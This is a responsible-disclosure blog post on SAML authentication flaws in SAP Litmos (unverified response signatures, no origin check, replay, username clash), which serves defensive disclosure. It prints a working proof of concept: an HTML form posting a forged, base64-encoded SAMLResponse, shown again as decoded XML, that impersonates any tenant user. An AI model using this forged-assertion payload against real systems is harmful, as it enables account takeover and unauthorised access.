SAP Litmos broken authentication vulnerability disclosure

June 22, 2021

SAP Litmos

Synopsis

SAP Litmos is the online Learning Management System owned and operated by SAP.

During the authentication integration with Litmos using SAML protocol, me and my colleagues identified multiple security vulnerabilities. The most critical one is the identity spoofing, allowing attacker to impersonate to ANY user of the Litmos tenant having SAML-based authentication enabled.

These vulnerabilities have been reported to SAP Product Security Reponse team, and are now being disclosed publicly in this blogpost, in alignment with SAP and in compliance with the SAP Responsible Disclosure Policy.

Vulnerabilities

SAP Litmos supports the SAML Identity Provider-initiated authentication flow only, which is treated as less secure than SP-initiated flow. The weak security baseline, lack of compliance with SAML implementation guides and best practices results in the Broken Authentication exploitation due to the vulnerabilities listed below.

Identity spoofing due to absent verification of the SAML Response signature

SAML Identity provider-initiated flow is done via single HTTP POST request initiated by the end-user in the web browser. There is no state verification mechanism in the Service Provider (SAP Litmos in this case), therefore the authenticity of the request should be done by verifying the request signature.

However, the SAML metadata configuration content does not contain the public key that could be used to verify the SAML Response Request. Request signed with ANY private key is treated as legitimate. This allows attacker to forge the SAML Response object, sign with ANY private key and successfully authenticate as ANY user within the Litmos tenant having SAML integration enabled.

The SAML metadata configuration content example:

<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://example.com">
    <md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
        <md:NameIDFormat>
      urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified
        </md:NameIDFormat>
        <md:NameIDFormat>
      urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress
        </md:NameIDFormat>
        <md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://example.com" />
        <md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://example.com" />
    </md:IDPSSODescriptor>
</md:EntityDescriptor>

Pinning the public key to the SAML metadata configuration does not take effect - the public key is ignored.

Such SAML Response Request can be successfully used to spoof the identity and break the authentication (changing TENANT-NAME to the respective tenant’s subdomain name is needed beforehand):

<!doctype html5>
<html>
<head>
</head>
<body>
  <form method="post" action="https://TENANT-NAME.litmos.com/integration/splogin">
  <input type="hidden" name="SAMLResponse" value="PFJlc3BvbnNlIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiCnhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIERlc3RpbmF0aW9uPSJodHRwczovL1RFTkFOVC1OQU1FLmxpdG1vcy5jb20vaW50ZWdyYXRpb24vc3Bsb2dpbiIgSUQ9Il80MzFiNWUxNy1kMzZhLTQxNTYtOGU2My1jNjI5MTg3MTljNjQiIElzc3VlSW5zdGFudD0iMjAxOS0wOS0xOFQwODo0ODo0MC4wODQ4NjA2WiIgVmVyc2lvbj0iMi4wIgp4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIj4KPElzc3VlciB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI+aHR0cHM6Ly9leGFtcGxlLmNvbTwvSXNzdWVyPgo8U2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj4KICAgIDxTaWduZWRJbmZvPgogICAgICAgIDxDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvVFIvMjAwMS9SRUMteG1sLWMxNG4tMjAwMTAzMTUiIC8+CiAgICAgICAgPFNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNyc2Etc2hhMSIgLz4KICAgICAgICA8UmVmZXJlbmNlIFVSST0iI180MzFiNWUxNy1kMzZhLTQxNTYtOGU2My1jNjI5MTg3MTljNjQiPgogICAgICAgICAgICA8VHJhbnNmb3Jtcz4KICAgICAgICAgICAgICAgIDxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz4KICAgICAgICAgICAgICAgIDxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy9UUi8yMDAxL1JFQy14bWwtYzE0bi0yMDAxMDMxNSIgLz4KICAgICAgICAgICAgPC9UcmFuc2Zvcm1zPgogICAgICAgICAgICA8RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI3NoYTEiIC8+CiAgICAgICAgICAgIDxEaWdlc3RWYWx1ZT5iTjA5eml3SmY5N2pYR0RNY2lJWUo0MGRENzQ9PC9EaWdlc3RWYWx1ZT4KICAgICAgICA8L1JlZmVyZW5jZT4KICAgIDwvU2lnbmVkSW5mbz4KICAgIDxTaWduYXR1cmVWYWx1ZT5TSUdOQVRVUkUtU0lHTkVELVVTSU5HLUFOWS1QUklWQVRFLUtFWTwvU2lnbmF0dXJlVmFsdWU+CiAgICA8S2V5SW5mbz4KICAgICAgICA8WDUwOURhdGE+CiAgICAgICAgICAgIDxYNTA5Q2VydGlmaWNhdGU+PC9YNTA5Q2VydGlmaWNhdGU+CiAgICAgICAgPC9YNTA5RGF0YT4KICAgIDwvS2V5SW5mbz4KPC9TaWduYXR1cmU+CjxTdGF0dXM+CiAgICA8U3RhdHVzQ29kZSBWYWx1ZT0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnN0YXR1czpTdWNjZXNzIiAvPgo8L1N0YXR1cz4KPEFzc2VydGlvbiBJRD0iXzUwNzg2ZDJhLTEzYTEtNDZkMS1iZWVlLWRiNTBlOWZjY2RiZiIgSXNzdWVJbnN0YW50PSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIiBWZXJzaW9uPSIyLjAiCiAgICB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI+CiAgICA8SXNzdWVyPmh0dHBzOi8vZXhhbXBsZS5jb208L0lzc3Vlcj4KICAgIDxTdWJqZWN0PgogICAgICAgIDxOYW1lSUQgTmFtZVF1YWxpZmllcj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI+U1BPT0ZFRC1VU0VSLUlERU5USUZJRVI8L05hbWVJRD4KICAgICAgICA8U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPgogICAgICAgICAgICA8U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDE5LTA5LTE4VDA4OjUzOjQwLjA4NDg2MDZaIiBSZWNpcGllbnQ9Imh0dHBzOi8vVEVOQU5ULU5BTUUubGl0bW9zLmNvbS9pbnRlZ3JhdGlvbi9zcGxvZ2luIiAvPgogICAgICAgIDwvU3ViamVjdENvbmZpcm1hdGlvbj4KICAgIDwvU3ViamVjdD4KICAgIDxDb25kaXRpb25zIE5vdE9uT3JBZnRlcj0iMjAxOS0wOS0xOFQwODo1Mzo0MC4wODQ4NjA2WiIgTm90QmVmb3JlPSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIj4KICAgICAgICA8QXVkaWVuY2VSZXN0cmljdGlvbj4KICAgICAgICAgICAgPEF1ZGllbmNlPmh0dHBzOi8vVEVOQU5ULU5BTUUubGl0bW9zLmNvbS9pbnRlZ3JhdGlvbi9zcGxvZ2luPC9BdWRpZW5jZT4KICAgICAgICA8L0F1ZGllbmNlUmVzdHJpY3Rpb24+CiAgICA8L0NvbmRpdGlvbnM+CiAgICA8QXV0aG5TdGF0ZW1lbnQgQXV0aG5JbnN0YW50PSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIj4KICAgICAgICA8QXV0aG5Db250ZXh0PgogICAgICAgICAgICA8QXV0aG5Db250ZXh0Q2xhc3NSZWY+QXV0aG5Db250ZXh0Q2xhc3NSZWY8L0F1dGhuQ29udGV4dENsYXNzUmVmPgogICAgICAgIDwvQXV0aG5Db250ZXh0PgogICAgPC9BdXRoblN0YXRlbWVudD4KICAgIDxBdHRyaWJ1dGVTdGF0ZW1lbnQ+CiAgICAgICAgPEF0dHJpYnV0ZSBOYW1lPSJGaXJzdE5hbWUiIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiPgogICAgICAgICAgICA8QXR0cmlidXRlVmFsdWU+U3Bvb2ZlZCBuYW1lPC9BdHRyaWJ1dGVWYWx1ZT4KICAgICAgICA8L0F0dHJpYnV0ZT4KICAgICAgICA8QXR0cmlidXRlIE5hbWU9Ikxhc3ROYW1lIiBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIj4KICAgICAgICAgICAgPEF0dHJpYnV0ZVZhbHVlPlNwb29mZWQgc3VybmFtZTwvQXR0cmlidXRlVmFsdWU+CiAgICAgICAgPC9BdHRyaWJ1dGU+CiAgICAgICAgPEF0dHJpYnV0ZSBOYW1lPSJFbWFpbCIgTmFtZUZvcm1hdD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmF0dHJuYW1lLWZvcm1hdDpiYXNpYyI+CiAgICAgICAgICAgIDxBdHRyaWJ1dGVWYWx1ZT5zcG9vZmVkLWVtYWlsQGV4YW1wbGUuY29tPC9BdHRyaWJ1dGVWYWx1ZT4KICAgICAgICA8L0F0dHJpYnV0ZT4KICAgIDwvQXR0cmlidXRlU3RhdGVtZW50Pgo8L0Fzc2VydGlvbj4KPC9SZXNwb25zZT4=" />
  <input type="submit" value="Submit"/>
  </form>
</body>
</html>

where the SAMLResponse is Base64-encoded value of such XML document:

<Response xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Destination="https://TENANT-NAME.litmos.com/integration/splogin" ID="_431b5e17-d36a-4156-8e63-c62918719c64" IssueInstant="2019-09-18T08:48:40.0848606Z" Version="2.0"
    xmlns="urn:oasis:names:tc:SAML:2.0:protocol">
    <Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">https://example.com</Issuer>
    <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
        <SignedInfo>
            <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
            <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
            <Reference URI="#_431b5e17-d36a-4156-8e63-c62918719c64">
                <Transforms>
                    <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
                    <Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
                </Transforms>
                <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
                <DigestValue>bN09ziwJf97jXGDMciIYJ40dD74=</DigestValue>
            </Reference>
        </SignedInfo>
        <SignatureValue>SIGNATURE-SIGNED-USING-ANY-PRIVATE-KEY</SignatureValue>
        <KeyInfo>
            <X509Data>
                <X509Certificate></X509Certificate>
            </X509Data>
        </KeyInfo>
    </Signature>
    <Status>
        <StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </Status>
    <Assertion ID="_50786d2a-13a1-46d1-beee-db50e9fccdbf" IssueInstant="2019-09-18T08:48:40.0848606Z" Version="2.0"
        xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
        <Issuer>https://example.com</Issuer>
        <Subject>
            <NameID NameQualifier="https://example.com">SPOOFED-USER-IDENTIFIER</NameID>
            <SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <SubjectConfirmationData NotOnOrAfter="2019-09-18T08:53:40.0848606Z" Recipient="https://TENANT-NAME.litmos.com/integration/splogin" />
            </SubjectConfirmation>
        </Subject>
        <Conditions NotOnOrAfter="2019-09-18T08:53:40.0848606Z" NotBefore="2019-09-18T08:48:40.0848606Z">
            <AudienceRestriction>
                <Audience>https://TENANT-NAME.litmos.com/integration/splogin</Audience>
            </AudienceRestriction>
        </Conditions>
        <AuthnStatement AuthnInstant="2019-09-18T08:48:40.0848606Z">
            <AuthnContext>
                <AuthnContextClassRef>AuthnContextClassRef</AuthnContextClassRef>
            </AuthnContext>
        </AuthnStatement>
        <AttributeStatement>
            <Attribute Name="FirstName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <AttributeValue>Spoofed name</AttributeValue>
            </Attribute>
            <Attribute Name="LastName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <AttributeValue>Spoofed surname</AttributeValue>
            </Attribute>
            <Attribute Name="Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <AttributeValue>[email protected]</AttributeValue>
            </Attribute>
        </AttributeStatement>
    </Assertion>
</Response>

SAP issue reference ID: 1980479777

Identity spoofing due to lack of identity provider origin verification

In addition to the aforementioned vulnerability, there is no Identity Provider origin check (i.e. verification of the HTTP Referrer header).

This weakness can lead to the identity spoofing utilizing the Identity Provider’s development environment, or any other web origin used to submit the SAML Response from. Combining it with the aforementioned weakness, multiple attack scenarios can be exploited.

SAP issue reference ID: 1980479778

Request replay vulnerability

The SAML Response Request form can be submitted multiple times, allowing the attacker to replay the authentication event and login on behalf of the victim.

The SAML Response root element contains the attribute ID, but SAP Litmos does not use it as “nonce” value.

SAP issue reference ID: 1980479775

Identity spoofing via username clash vulnerability

The weakness exists due to lack of separation of the federated and locally-created user accounts in Litmos, and due to the username attribute that is used to match the users.

Attack scenario:

This weakness can be exploited both accidentally, and exploiting the targeted attack. This can be done by registering either specific usernames in the external Identity Provider, or also by changing the specific user account usernames in Litmos, resulting in different attack vectors.

SAP issue reference ID: 1980479776

Responsible disclosure timeline